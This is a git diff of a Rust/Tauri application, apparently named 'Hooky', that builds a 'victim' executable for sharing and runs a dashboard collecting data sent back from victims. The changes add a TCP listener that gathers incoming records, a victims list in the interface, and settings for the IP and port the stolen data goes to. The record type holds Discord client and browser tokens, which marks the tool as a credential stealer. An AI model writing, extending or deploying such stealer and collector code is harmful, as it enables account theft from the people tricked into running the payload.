fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {
@@ 19,7 31,7 @@ fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {
path.push("config.toml");
let config = Config {
payload: payload.clone(),
- send_to,
+ send_to: send_to.clone(),
};
let mut file = File::create(path.clone()).unwrap();
file.write_all(toml::to_string(&config).unwrap().as_bytes()).unwrap();
@@ 39,11 51,56 @@ fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {
.current_dir(&path.display().to_string())
.output()
.expect("failed to execute process");
+
+ thread::spawn(move || {
+ let listener = TcpListener::bind(format!("0.0.0.0:{}", send_to.split(':').nth(1).unwrap()) ).unwrap();
+ for stream in listener.incoming() {
+ thread::spawn(move || {
+ let mut stream = stream.unwrap();
+ let mut total = Vec::new();
+ let mut buffer = [0; 4096];
+ while stream.read(&mut buffer).unwrap() == 4096 {
+ for i in buffer {
+ total.push(i);
+ }
+ }
+ for i in buffer {
+ total.push(i);
+ }
+ let new_sends: Sends = bincode::deserialize(&total).unwrap();
+ let hooks = Arc::clone(&HOOKS);
+ let mut hooks = hooks.lock().unwrap();
+ (*hooks).push(new_sends);
+ });
+ }
+ });
+}
+
+#[tauri::command]
+fn victim_payload() -> String {
+ let mut path = std::env::current_exe().unwrap();
+ for _ in 0..4 {
+ path.pop();
+ }
+ for i in vec!["victim", "target", "release", "victim"] {
+ path.push(i);
+ }
+ path.display().to_string()
+}
+
+#[tauri::command]
+fn get_new() -> Vec<Sends> {
+ let sends = (*HOOKS.lock().unwrap()).clone();
+ let start_at = *INDEX.lock().unwrap();
+ let index = Arc::clone(&INDEX);
+ let mut index = index.lock().unwrap();
+ *index = sends.len();
+ return sends[start_at..].to_vec()
}
fn main() {
tauri::Builder::default()
- .invoke_handler(tauri::generate_handler![gen])
+ .invoke_handler(tauri::generate_handler![gen, victim_payload, get_new])
.run(tauri::generate_context!())
.expect("error while running tauri application");
}
M command/src/app.rs => command/src/app.rs +19 -3
@@ 48,7 48,21 @@ pub fn app() -> Html {
let mut id = 0;
html! {
- <main class="container">
+ <>
+ <div id={"GenCover"}>
+ <div id={"loading"}>
+ <img src="/public/loading.svg" width="200px" height="200px" />
+ </div>
+ </div>
+ <div class="container" id={"dashboard"}>
+ <div class="row">
+ <img src="public/hooky.svg" class="logo hooky" alt="Hooky"/>
+ </div>
+ <p>{"The executable for you to share:"}</p>
+ <pre id={"victim_exe"}></pre>
+ <div id={"victims"}></div>
+ </div>
+ <div class="container" id={"setup"}>
<div class="row">
<img src="public/hooky.svg" class="logo hooky" alt="Hooky"/>
</div>
@@ 58,7 72,7 @@ pub fn app() -> Html {
<button type="button" onclick={payload_button}>{"Open"}</button>
<label for={"ip"}>{"Ip / Domain to send the data to"}</label>
- <input type="text" value={"1.1.1.1"} id={"ip"} />
+ <input type="text" value={"0.0.0.0"} id={"ip"} />
<label for={"port"}>{"Port to send the data to"}</label>
<input type="number" value={13337} id={"port"} />
@@ 74,6 88,8 @@ pub fn app() -> Html {
<div class="row" style="margin-top: 25px">
<button type="button" onclick={gen}>{"Generate"}</button>
</div>
- </main>
+ </div>
+ <script src="/public/main.js" />
+ </>
}
}
M command/style.css => command/style.css +24 -0
@@ 87,3 87,27 @@ button {
input[type=checkbox] {
outline: 2px solid #ffffff;
}
+
+#GenCover {
+ display: none;
+}
+
+#loading {
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ height: calc(100vh - 16px);
+}
+
+#dashboard {
+ display: none;
+}
+
+#victims {
+ text-align:left;
+}
+
+#victims pre {
+ margin-left:50px;
+ margin-right:50px;
+}
M data/src/lib.rs => data/src/lib.rs +1 -1
@@ 3,7 3,7 @@ use serde_derive::{Deserialize, Serialize};
#[cfg(feature = "functions")]
mod all_data;
-#[derive(Deserialize, Serialize)]
+#[derive(Deserialize, Serialize, Clone)]
pub struct Sends {
pub discord_client_token: Option<String>,
pub discord_chromium_token: Option<String>,